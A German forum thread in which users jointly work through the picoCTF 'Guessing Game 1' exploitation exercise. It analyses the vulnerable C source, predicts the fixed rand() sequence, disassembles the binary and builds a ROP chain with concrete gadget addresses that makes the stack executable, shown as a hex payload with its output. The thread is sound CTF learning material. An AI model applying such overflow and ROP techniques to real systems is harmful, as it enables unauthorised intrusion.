CTF-Aufgabe: Binärdatei-Exploit

Mat

Aktives Mitglied
So, wie in diesem Thread angekündigt, poste ich hier eine CTF-Übungsaufgabe, mit der ich nicht weiter komme.

Es geht um die Übung Guessing Game 1 auf picoCTF, Kategorie "Binary Exploitation". Es gibt eine kurze Anweisung, 2 Hinweise und 3 Dateianhänge sowie eine per TCP ansprechbare Serveradresse, auf der eine Instanz des anzugreifenden Programms läuft. Auf dem Server müsste sich im Programmverzeichnis eine Textdatei mit der Flagge befinden. Wenn man diese findet, kann man sie auf der Seite einlösen und die Aufgabe gilt als gelöst. Ich habe die Dateien in den Anhang gepackt, falls ihr selbst gucken wollt, ohne euch bei picoCTF anmelden oder das Programm bauen zu müssen.


Hier mein aktueller Stand, inklusive bisheriger Lösungsversuche und Abläufe.

------------------------------------------------------------------------

Anweisung​

Ich habe ein einfaches Spiel geschrieben, um mit meinen Programmierkenntnissen anzugeben. Versuche, es zu gewinnen!

vuln vuln.c Makefile "nc xxx.picoctf.org XXXX"
⚠ Ich weiß nicht, ob man die Serveradressen einfach so teilen darf, sonst könnt ihr euch da einfach registrieren, um sie anzuzeigen oder mich anschreiben. ⚠

Hinweise​

Nicht übersetzt, weil manchmal der Hinweis in der Wortwahl steckt:

Hinweis1: Tools can be helpful, but you may need to look around for yourself.

Hinweis2: Remember, in CTF problems, if something seems weird it probably means something...

------------------------------------------------------------------------

Dateien und Analyse​

Rumprobieren​

Um nicht vom Quellcode beeinflusst zu werden, verbinden wir uns zunächst direkt mit dem Server und probieren Eingaben aus:

  • Akzeptierte Eingaben:
    • ganzen Zahlen
    • Kommazahlen
    • Zahlen in der wissenschaftlichen Schreibweise
  • Abgelehnte Eingaben:
    • 0 und andere Darstellungsweisen von 0
    • Texte
  • Besonderheiten:
    • führende Leerzeichen werden bereinigt: 5 ist eine gültige Zahl
    • es reicht, dass am Anfang eine gültige Sequenz steht, der Rest kann ungültig sein: 5klopapierrollen
    • 0 ist keine gültige Zahl, wie gemein!
    • sehr lange Zahlen werden scheinbar aufgeteilt, weil wir mehrfach "Nope" erhalte, so als hätte man mehrfach hintereinander geraten
      • spricht dafür, dass es pufferweise verarbeitet wird
      • Puffer umfasst wohl ca100 Zeichen (98 Zeichen + LF + 00?)
      • bei 100 1en kommt 2 mal "Nope"
      • bei 99 1en heißt es "Not a valid number"
      • bei 98 1en ist es OK
Bruteforce der Zufallszahl führen wir lieber nicht auf dem Server aus. Erst einmal Quellcode ansehen.

Quellcode und Makefile​

Meine Kommentare sind auf Deutsch:

Quellcode:
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h> // warum ist das hier?

// wird für Puffergröße und Zufallszahlenbegrenzung verwendet
#define BUFSIZE 100

long increment(long in) { return in + 1; }

// Mooment.. 0-99 mit immer gleicher Zahlensequenz, da kein variabler Seed?
long get_random() { return rand() % BUFSIZE; }

// fragt zu ratende Zahl ab, Rückgabe wird als boolean betrachtet
int do_stuff() {
  long ans = get_random();
  ans = increment(ans); // verschiebt Skala auf 1-100
  int res = 0;

  printf("What number would you like to guess?\n");
  char guess[BUFSIZE]; // Zahlen mit bis zu 99 Stellen akzeptiert?, naja, OK
  fgets(guess, BUFSIZE, stdin);

  long g = atol(guess); // 0, wenn ungültig oder 0, so weit OK
  if (!g) {
    // bei Eingabe der Zahl 0 kommt man hier auch rein, aber OK
    printf("That's not a valid number!\n");
  } else {
    if (g == ans) {
      printf("Congrats! You win! Your prize is this print statement!\n\n");
      res = 1;
    } else {
      printf("Nope!\n\n");
    }
  }
  return res;
}

void win() {
  char winner[BUFSIZE];
  printf("New winner!\nName? ");
  fgets(winner, 360, stdin); // Ups, da haben wir doch was, BUFSIZE ist nur 100 aber wir lesen 360
  printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv) {
  setvbuf(stdout, NULL, _IONBF, 0); // ist das wichtig? ist ja nur die Ausgabe
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  // gibt dem Prozess die vollen Rechte des ausführenden Users?
  setresgid(gid, gid, gid);

  int res;

  printf("Welcome to my guessing game!\n\n");

  while (1) {
    res = do_stuff();
    if (res) {
      win();
    }
  }

  return 0;
}


Makefile:
all:
    gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c

clean:
    rm vuln

Sagt mir nicht viel, ich schaue mir das nur genauer an, wenn es der Lösung dient. Bis dahin nehme ich einfach Sachen an:
  • m64: 64bit?
  • fno-stack-protector: verhindert, dass beim Linken Maßnahmen für Overflowschutz verwendet werden?
  • static: man kann mit festen Speicheradressen verlinkter Libraries rechnen?
  • O0: keine Optimierung, damit der Code besser dekompiliert werden kann?
  • no-pie: irgendwas mit Kuchen?

Angriff!​

Es sieht aus, als wäre der Eintrag des Namens ein guter Angriffsvektor, weil da so ca 260 Zeichen mehr eingelesen werden können, als der Puffer hergibt. Dafür muss aber erstmal der Gewinner-Dialog erreicht werden.

Schritt 1: Zufallszahl​

Versuch: Bruteforce​

Idee: Es sind nur die Zahlen zwischen 1-100 möglich und die Sequenz sollte immer die gleiche sein. Das heißt, wenn wir eine Zahl testen, dann das Programm neu starten und die nächste Zahl testen, startet auch die Sequenz wieder von vorne. So kann man relativ schnell die erste Zahl der Zufallssequenz ermitteln.

Um den Server nicht mit automatisierten Anfragen zu belasten, greifen wir lieber das lokale Programm auf dem eigenen PC an. Dafür könnten wir eine Binärdatei direkt in das Programm pipen: ./vuln < input

Verschiedene Versionen von input (1 Version pro Zeile) :
Versuche:
// Alles endete in Endlosschleifen

00000000: 31
00000000: 310a
00000000: 310a 00
00000000: 310a 0d
00000000: 310a 0d00
00000000: 310a 0003 04

Ich raffe C nicht. Warum verhält es sich so, als würde es immer wieder Input aus der Pipe erhalten? Die Datei ist doch längst ausgelesen. Und die Versuche mit Signalterminierung ignoriert er auch. Übergebe ich das aus Versehen als Text statt binär?

Versuch: Halt den rand()​

In den Decompiler wollte ich an der Stelle noch nicht reinschauen, wir können hier auch das nichtzufällige rand ausnutzen. Dafür kopieren wir Quellcode und Makefile und passen den Code entsprechend an, um die ersten 10 Zahlen der Sequenz ausgeben zu lassen:


test.c:
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
  int i = 0;

  while (i <= 10) {
    i++;
    printf("%d\n", ((rand() % 100) + 1));
  }

  return 0;
}

Ergebnis:
Code:
 ./testprog/test
84
87
78
16
94
36
87
93
50
22
63

Schauen wir mal, ob rand hier auch wirklich wie vermutet funktioniert:

Ich teste die Eingaben lokal und auf dem Server (sie sollten alle stimmen).

Code:
Welcome to my guessing game!
What number would you like to guess? > 84
Congrats! You win! Your prize is this print statement!
New winner! Name? > a
Congrats a

What number would you like to guess? > 87
Congrats! You win! Your prize is this print statement!
New winner! Name? > a
Congrats a

usw...

Läuft! Für die manuellen Tests kann man sich die ersten 4 Zahlen der Sequenz merken: \( 84, 87, 78, 16 \)


Namenseingabe​

Weil wir jetzt die Zufallszahlen haben, können wir die Namenseingabe angreifen.

Schritt 1: Grenzen testen​

Überlegungen:
  • er liest bis zu 360 Zeichen in einen CharArray der Größe 100 und gibt dann diesen Array mit printf aus
  • was passiert bei 98-101 Zeichen?
  • was passiert bei 358-361 Zeichen?
  • passiert dazwischen irgendetwas auffälliges?
Getestete Strings:
Code:
// 98-101: Alles OK, wird auch vollständig ausgegeben
Name? > xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0x
Congrats xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0x

// 358+359: Lokal sagt "Segmentation fault", Server sagt "coredump", aber gibt die Eingabe vollständig aus:
Name? > xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxxx6
Congrats xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx
Segmentation fault

// 360: Fehler wie bei 358 und 359, aber gibt das letzte Zeichen nicht aus
Name? > xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6
Congrats xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx
Segmentation fault

// Schauen wir mal, wann er damit anfängt: ab 119 kommt ein anderer Fehler
Name? xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxx?
Congrats xxxxxxxxx1xxxxxxxxx2xxxxxxxxx3xxxxxxxxx4xxxxxxxxx5xxxxxxxxx6xxxxxxxxx7xxxxxxxxx8xxxxxxxxx9xxxxxxxxx0xxxxxxxxx1xxxxxxxx?
Illegal instruction

Auswertung:
Der Stringdatentyp für die winner-Variable scheint für 120 Zeichen reserviert zu sein (15x8). Alles darüber hinaus wird direkt als Anweisung ausgeführt? Das gibt uns ca 240 Zeichen an Spielraum. Danach wird printf ausgeführt.


Schritt 2: Methodenaufruf einfügen​


Idee: Um zu testen, ob das Programm überhaupt Anweisungen so ausführt, wie ich mir das vorstelle, möchte ich die Ausgabe des Namens überspringen oder den Namen nochmals abfragen lassen. Das sollte mit einem Sprung mit bestimmtem relativen Offset möglich sein, oder vielleicht ein Sprung direkt zu einer anderen Funktion.

Die Methode mit dem Pipen von Binärdateien funktioniert jetzt ohne Endlosschleife (wohl wegen der fehlerbedingten Programmterminierung):

Code:
 ./vuln < cmd
Welcome to my guessing game!

What number would you like to guess?
Congrats! You win! Your prize is this print statement!

New winner!
Name? Congrats _______________________________________________________________________________________________________________________

Illegal instruction

Inhalt:
cmd:
00000000: 3834 0a5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f  84._____________
00000010: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f  ________________
00000020: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f  ________________
00000030: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f  ________________
00000040: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f  ________________
00000050: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f  ________________
00000060: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f  ________________
00000070: 5f5f 5f5f 5f5f 5f5f 5f5f 00              __________.

Es gilt allerdings noch herauszufinden, wie breit die Anweisungen sind und wo genau er mit dem Lesen beginnt. In gdb springt er bei den Funktionsaufrufen mal 4 mal 9 Adressnummern weiter, also haben wir keine feste Breite?

Stand​

Weiter bin ich noch nicht gekommen. Wollte wissen, ob ich auf dem richtigen Weg bin oder ob ihr andere Ideen habt. Ihr könnt es gerne auch selbst probieren.

Wie ich mir die weiteren Schritte vorstelle:
  1. über das Pipen einer Binärdatei ins Programm einen einfachen Sprung oder Anweisung hinbekommen
  2. lokal getestete Binärdatei per ncat an den Server pipen
  3. wenn es online ebenso funktioniert, dann kommt das mit der Adressierung hin
  4. wenn nicht, wieder zu 1 + Recherche
  5. ab hier wieder lokal weiter testen
  6. in einem Debugger Adressen von Systemaufrufen herausfinden, die einen bashbefehl ausführen können (system, exec oder sowas)
  7. testen, ob ls ausgeführt werden kann und Text zurückgibt (evtl mit Weiterleitung an puts)
  8. wenn das zu viel Arbeit ist, online einen Binären Payload suchen, der zur Systemarchitektur passt
  9. falls Flag im Ordner vorhanden, direkt mit cat zurückgeben
  10. falls nicht, muss ein find + cat + grep - Befehl her
  11. sollten die Systemaufrufe zu umständlich sein, bleibt noch die Möglichkeit, Dateinamen zu raten und mit read() auszulesen

Für einige von euch ist das wahrscheinlich Kinderkram, aber für mich ist das ziemlich schwer. :D Ich glaub, ich muss mir Assembler mal wieder anschauen. Hab diese Woche leider keine Zeit mehr dafür, aber die Aufgabe wird schon noch geknackt.
 

Anhänge

  • daten.zip
    329,4 KB · Aufrufe: 261
Zuletzt bearbeitet:
Assembler/Disassembler sind hier natürlich eine feine Sache.

Die Webseite Godbolt ist da eine guter Anlauf, wenn man den Assemblercode von C Kompilern sich anschauen möchte
und keinen entsprechenden Compiler und/oder Disassembler installiert hat.

Mit gcc 10.2 kompiliert: https://godbolt.org/z/fK1z79
Godbolt Ausgabe:
increment:
  push rbp
  mov rbp, rsp
  mov QWORD PTR [rbp-8], rdi
  mov rax, QWORD PTR [rbp-8]
  add rax, 1
  pop rbp
  ret
get_random:
  push rbp
  mov rbp, rsp
  call rand
  movsx rdx, eax
  imul rdx, rdx, 1374389535
  shr rdx, 32
  sar edx, 5
  mov ecx, eax
  sar ecx, 31
  sub edx, ecx
  imul ecx, edx, 100
  sub eax, ecx
  mov edx, eax
  movsx rax, edx
  pop rbp
  ret
.LC0:
  .string "What number would you like to guess?"
.LC1:
  .string "That's not a valid number!"
.LC2:
  .string "Congrats! You win! Your prize is this print statement!\n"
.LC3:
  .string "Nope!\n"
do_stuff:
  push rbp
  mov rbp, rsp
  add rsp, -128
  mov eax, 0
  call get_random
  mov QWORD PTR [rbp-16], rax
  mov rax, QWORD PTR [rbp-16]
  mov rdi, rax
  call increment
  mov QWORD PTR [rbp-16], rax
  mov DWORD PTR [rbp-4], 0
  mov edi, OFFSET FLAT:.LC0
  call puts
  mov rdx, QWORD PTR stdin[rip]
  lea rax, [rbp-128]
  mov esi, 100
  mov rdi, rax
  call fgets
  lea rax, [rbp-128]
  mov rdi, rax
  call atol
  mov QWORD PTR [rbp-24], rax
  cmp QWORD PTR [rbp-24], 0
  jne .L6
  mov edi, OFFSET FLAT:.LC1
  call puts
  jmp .L7
.L6:
  mov rax, QWORD PTR [rbp-24]
  cmp rax, QWORD PTR [rbp-16]
  jne .L8
  mov edi, OFFSET FLAT:.LC2
  call puts
  mov DWORD PTR [rbp-4], 1
  jmp .L7
.L8:
  mov edi, OFFSET FLAT:.LC3
  call puts
.L7:
  mov eax, DWORD PTR [rbp-4]
  leave
  ret
.LC4:
  .string "New winner!\nName? "
.LC5:
  .string "Congrats %s\n\n"
win:
  push rbp
  mov rbp, rsp
  sub rsp, 112
  mov edi, OFFSET FLAT:.LC4
  mov eax, 0
  call printf
  mov rdx, QWORD PTR stdin[rip]
  lea rax, [rbp-112]
  mov esi, 360
  mov rdi, rax
  call fgets
  lea rax, [rbp-112]
  mov rsi, rax
  mov edi, OFFSET FLAT:.LC5
  mov eax, 0
  call printf
  nop
  leave
  ret
.LC6:
  .string "Welcome to my guessing game!\n"
main:
  push rbp
  mov rbp, rsp
  sub rsp, 32
  mov DWORD PTR [rbp-20], edi
  mov QWORD PTR [rbp-32], rsi
  mov rax, QWORD PTR stdout[rip]
  mov ecx, 0
  mov edx, 2
  mov esi, 0
  mov rdi, rax
  call setvbuf
  call getegid
  mov DWORD PTR [rbp-4], eax
  mov edx, DWORD PTR [rbp-4]
  mov ecx, DWORD PTR [rbp-4]
  mov eax, DWORD PTR [rbp-4]
  mov esi, ecx
  mov edi, eax
  mov eax, 0
  call setresgid
  mov edi, OFFSET FLAT:.LC6
  call puts
.L13:
  mov eax, 0
  call do_stuff
  mov DWORD PTR [rbp-8], eax
  cmp DWORD PTR [rbp-8], 0
  je .L13
  mov eax, 0
  call win
  jmp .L13
Die erste Hürde mit den Zufallszahlen hast du @Mat ja schon überwunden.
Nun gilt es den Bufferoverflow auszunutzen, sodass die Rücksprungadresse der win Funktion so geändert wird das wir den Inhalt von z.B. winner anspringen können und den darin enthaltenen Code ausführen können.

Für weitere Arbeiten nehme ich mir den Cutter/radare2 Disassembler und inspiziere die ELF Binary damit....
da findet man dann auch relativ einfach den Einstiegspunkt main.

Um ein Bufferoverflow zu reproduzieren schauen wir uns zunächst den win Aufruf im Disassembler näher an:
Code:
0x00400cfc      call win           // sym.win
0x00400d01      jmp 0x400ce4
Beim Ausführen von call wird auf dem Stack die Rücksprungadresse 0x00400d01 abgelegt und die Funktion win angesprungen.
Gehen wir jetzt davon aus dass der Stack an Position SPX anfängt und ganz oben auf dem Stack an Adresse (SPX - 8) die Rücksprungadresse liegt (8 Bytes da dies eine 64 Bit Anwendung ist). Diese wollen wir modifizieren um unseren benutzerdefinierten Code im Eingabebuffer auszuführen.

Um dies zu erreichen schauen wir uns nun die win Funktion näher an:
Code:
// Intro
0x00400c40      push rbp
0x00400c41      mov rbp, rsp
0x00400c44      sub rsp, 0x70

// printf
0x00400c48      lea rdi, str.New_winner___Name // 0x4930c7
0x00400c4f      mov eax, 0
0x00400c54      call __printf      // sym.__printf

// fgets
0x00400c59      mov rdx, qword [stdin] // obj._IO_stdin
                                   // 0x6ba7a8 ; FILE *stream
0x00400c60      lea rax, [rbp-0x70]
0x00400c64      mov esi, 0x168     // 360 ; int size
0x00400c69      mov rdi, rax       // char *s
0x00400c6c      call fgets         // sym.fgets ; char *fgets(char *s, int size, FILE *stream)

// printf
0x00400c71      lea rax, [rbp-0x70]
0x00400c75      mov rsi, rax
0x00400c78      lea rdi, str.Congrats__s // 0x4930da
0x00400c7f      mov eax, 0
0x00400c84      call __printf      // sym.__printf

// Outro
0x00400c89      nop
0x00400c8a      leave
0x00400c8b      ret
Interessant ist hier nun der Intro Block und der fgets Aufruf.

Im Intro wird mit push rbp zunächst das RBP Register aka Frame Pointer (8 Bytes) auf dem Stack an die Position (SPX - 16) ableget und mit sub rsp, 0x70 werden weiter 112 Bytes an lokalen Variablen auf dem Stack reserviert. Im RBP Register wird dabei vorher mit mov rbp, rsp die Endposition der lokalen Variablen gemerkt. Jetzt stellt sich die Frage warum 112; das liegt daran, dass der Compiler den Stack an einer 16 Bytes grenzen ausrichtet und das nächste vielfache von 16 das in die 100 Bytes reinpasst eben 112 ist. Für weitere Infos kann man nach SIMD instructions mal suchen.

Der Stack sieht nun wie folgt aus:
Code:
|                                   |
|      Existierende Stackinhalt     |
|                                   |
+-----------------------------------+  <--- SPX
|        Rücksprungadresse          |
+-----------------------------------+  <--- (SPX - 8)
|   Gesicherter RBP Register Wert   |
+-----------------------------------+  <--- (SPX - 16) = Neuer RBP Wert
:                                   :
:          Buffer für winner        :
:                                   :
+-----------------------------------+  <--- (SPX - 128) = Start Adresse von winner
Im Outro wird dieses Stack-Spielchen schließlich zurückgesetzt auf den Wert (SPX - 8) welcher beim betreten der Funktion gesetzt war.
Das letztliche ret fürt schließlich dazu, dass die Rücksprungadresse die an (SPX - 8) gespeichert ist angesprungen wird und im Normalfall die main Funktion weiter ausgeführt wird.

Manch einer kann nun erahnen wie man diese Rücksprungadresse manipulieren kann.

Im fgets Block wird die Benutzereingabe eingelesen. Die fgets Funktion wird das Übergebenen winner Array mit bis zu 360 Bytes füllen.
Dies tut sie genauso, wie wenn man normalerweise Arrays befüllt, indem man diese mit positiven Index adressiert. D.h. die Daten werden linear nach oben auf dem Stack abgelegt.

Um die Rücksprungadresse nun zu manipulieren muss im Array an der Position 120 der gewünschte Wert eingetragen werden.
SPX - 128 + 120 == SPX - 8 == Rücksprungadresse
Dies ist auch die Position, die du @Mat bereits ermittelt hast, bei dem offensichtlich etwas passiert.

TBC
 
Zuletzt bearbeitet:
Ich mach hier mal weiter.

Bevor man nun den Aufwand betreibt einen injizierten Code sich Auszudenken sollte man zunächst die Memory Map und dessen Berechtigung innerhalb des Prozesses anschauen:
Code:
user@debian:~$ cat /proc/2717/maps
00400000-004b7000 r-xp 00000000 fe:04 5769850          /home/user/workspace/vuln/vuln
006b7000-006bd000 rw-p 000b7000 fe:04 5769850          /home/user/workspace/vuln/vuln
006bd000-006e1000 rw-p 00000000 00:00 0                [heap]
7ffff7ffa000-7ffff7ffd000 r--p 00000000 00:00 0        [vvar]
7ffff7ffd000-7ffff7fff000 r-xp 00000000 00:00 0        [vdso]
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0        [stack]

----------------
r = read
w = write
x = execute
s = shared
p = private
Das sieht nicht gerade rosig aus. Auch wenn wir im Stack unseren Code unterbekommen würden, ausführen können wir diesen dann doch nicht, da diesem Speicherbereich das eXecution Flag fehlt. Der einzige Bereich der Ausgeführt werden kann ist der .text bzw. Codebereich 00400000-004b7000 aus dem Binary, aber dieser kann nicht beschrieben werden.

------------------------------------------------------------------------

Eine kleine Recherche darüber wie man programmatisch diese Schreib- und Ausführungsrechte vergeben kann führt einen auf die Funktion int mprotect(void *addr, size_t len, int prot). Diese Funktion mit den beschränkten Möglichkeiten und mit korrekten Parametern aufzurufen scheint schon fast unmöglich zu sein. Schaut man sich mit dem Disassembler die Aufrufreferenzen dieser Funktion an, dann findet man interessanterweise die _dl_make_stack_executable Funktion und der Disassembler verrät was sich innerhalb dieser Funktion abspielt:
Code:
_dl_make_stack_executable (int64_t arg1);
// arg int64_t param1 @ rdi
0x00480860      mov rsi, qword [_dl_pagesize] // 0x6bb1f8
0x00480867      push rbx
0x00480868      mov rbx, rdi       // param1
0x0048086b      mov rdx, qword [rdi] // param1
0x0048086e      mov rdi, rsi
0x00480871      neg rdi
0x00480874      and rdi, rdx
0x00480877      cmp rdx, qword [__libc_stack_end] // 0x6b9ab0
0x0048087e      jne 0x4808a0
0x00480880      mov edx, dword [__stack_prot] // 0x6b9ef0
0x00480886      call __mprotect    // sym.__mprotect
0x0048088b      test eax, eax
0x0048088d      jne 0x4808b0
0x0048088f      mov qword [rbx], 0
0x00480896      or dword [_dl_stack_flags], 1 // 0x6bb1e8
0x0048089d      pop rbx
0x0048089e      ret
0x0048089f      nop
0x004808a0      mov eax, 1
0x004808a5      pop rbx
0x004808a6      ret
0x004808a7      nop word [rax + rax]
0x004808b0      mov rax, 0xffffffffffffffc0
0x004808b7      pop rbx
0x004808b8      mov eax, dword fs:[rax]
0x004808bb      ret
Und noch ein mprotect Ausschnitt:
Code:
0x0044b480      mov     eax, 0xa
0x0044b485      syscall // 10 = mprotect (0x00000000, 0x00000000, 0x00000000)

Mit der Information, dass folgende Registerzuweisungen beim syscall gelten (Quelle):
Registers on entry:
  • rax system call number
  • rcx return address
  • r11 saved rflags (note: r11 is callee-clobbered register in C ABI)
  • rdi arg0
  • rsi arg1
  • rdx arg2
  • r10 arg3 (needs to be moved to rcx to conform to C ABI)
  • r8 arg4
  • r9 arg5
  • (note: r12-r15, rbp, rbx are callee-preserved in C ABI)
Kann man folgende Assoziationen schlussfolgern:
Code:
rdi arg0 == mprotect addr == _dl_make_stack_executable *param1
rsi arg1 == mprotect len  == @_dl_pagesize
rdx arg2 == mprotect prot == @__stack_prot
Wobei arg1 aka. addr noch mit @__libc_stack_end in irgendeiner Form abgeglichen wird
sowie @__stack_prot hier die Zielrechte (Flags) zu beinhalten scheint.

------------------------------------------------------------------------

Nun wagen wir uns mal ran die _dl_make_stack_executable Funktion in unserem Buffer- bzw. Stackoverflow aufzurufen.

Der Plan:
Hierfür suchen wir uns pop + ret und mov + ret Befehle im Disassembler raus. Diese Befehleskombinationen erlauben es uns Register- und Speicherzuweisung durchzuführen sowie neue vorhandene Anweisungspositionen anzuspringen.
Hierzu nutze ich einen Online Assembler/Dissasembler um die nach entsprechenden Bytesequenzen zu suchen.

Der zusammengestellte Stackinhalt (Low>High) sieht nun wie folgt aus:
Code:
// @__stack_prot = PROT_EXEC|PROT_READ|PROT_WRITE = 7
0x0000000000423d2d // pop rsi ; ret
0x00000000006b9ef0 // __stack_prot
                   // > rsi = __stack_prot

0x0000000000476407 // pop rax ; ret
0x0000000000000007 // PROT_EXEC|PROT_READ|PROT_WRITE = 7
                   // rax = PROT_EXEC|PROT_READ|PROT_WRITE = 7

0x000000000047ff91 // mov QWORD PTR [rsi], rax ; ret
                   // @__stack_prot = PROT_EXEC|PROT_READ|PROT_WRITE = 7
    
// param1 aka rdi = @__libc_stack_end, execute _dl_make_stack_executable
0x0000000000403dd6 // pop rdi; ret
0x00000000006b9ab0 // @__libc_stack_end
                   // rdi = @__libc_stack_end
                  
0x0000000000480860 // entry of _dl_make_stack_executable

// execute win one more time
0x0000000000400cf7 // call func win
In diesem Stack-Beispiel springe ich zuletzt noch einmal die win Funktion an um mir ein weiteren Block an Daten ausgeben zu lassen. Dies dient als Gegencheck um zu prüfen ob die Funktionen wie geplant durchlaufen werden.

Der dazugehörige Payload sieht nun wie folgt aus:
Dateiinhalt:
0x00: 3834 0A5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F - 84._____________
0x10: 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F - ________________
0x20: 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F - ________________
0x30: 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F - ________________
0x40: 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F - ________________
0x50: 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F - ________________
0x60: 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F 5F5F - ________________
0x70: 5F5F 5F5F 5F5F 5F5F 5F5F 5F2D 3D42 0000 - ___________-=B..
0x80: 0000 00F0 9E6B 0000 0000 0007 6447 0000 - ...ðžk......dG..
0x90: 0000 0007 0000 0000 0000 0091 FF47 0000 - ...........‘ÿG..
0xA0: 0000 00D6 3D40 0000 0000 00B0 9A6B 0000 - ...Ö=@.....°šk..
0xB0: 0000 0060 0848 0000 0000 00F7 0C40 0000 - ...`.H.....÷.@..
0xC0: 0000 000A 5374 6163 6B20 4578 6563 7574 - ....Stack Execut
0xD0: 696F 6E20 5265 6164 790A                - ion Ready.

Zu beachten ist hier das das Byte 0x0A als Terminierung für fgets dient und entsprechend nicht beim Paylodexploit enthalten sein darf und hier nur zum Abschließen von Einleseblöcken dient.

Nun füttert man das Binary mit diesem Payload und erhält die folgende Ausgabe:
Code:
usern@debian:/media/sctf$ ./vuln < payload.bin
Welcome to my guessing game!

What number would you like to guess?
Congrats! You win! Your prize is this print statement!

New winner!
Name? Congrats ________________________________________________________________________________________________________________________-=B

New winner!
Name? Congrats Stack Execution Ready


What number would you like to guess?
That's not a valid number!
Bus Error

Yay, die win Funktion wird zweimal hintereinander Aufgerufen und beim zweiten mal wird sogar der gewünschte Text Ausgegeben. Die Fehlermeldung am Ende kann man hier getrost ignorieren da wir wohl den Stack maximal geändert haben.

Starten wir mal den Debugger und checken die Memory Map vor dem letzten win Aufruf:
Code:
user@debian:~$ cat /proc/2717/maps
00400000-004b7000 r-xp 00000000 fe:04 5769850                            /home/user/workspace/vuln/vuln
006b7000-006bd000 rw-p 000b7000 fe:04 5769850                            /home/user/workspace/vuln/vuln
006bd000-006e1000 rw-p 00000000 00:00 0                                  [heap]
7ffff7ffa000-7ffff7ffd000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffd000-7ffff7fff000 r-xp 00000000 00:00 0                          [vdso]
7ffffffde000-7fffffffe000 rw-p 00000000 00:00 0
7fffffffe000-7ffffffff000 rwxp 00000000 00:00 0                          [stack]

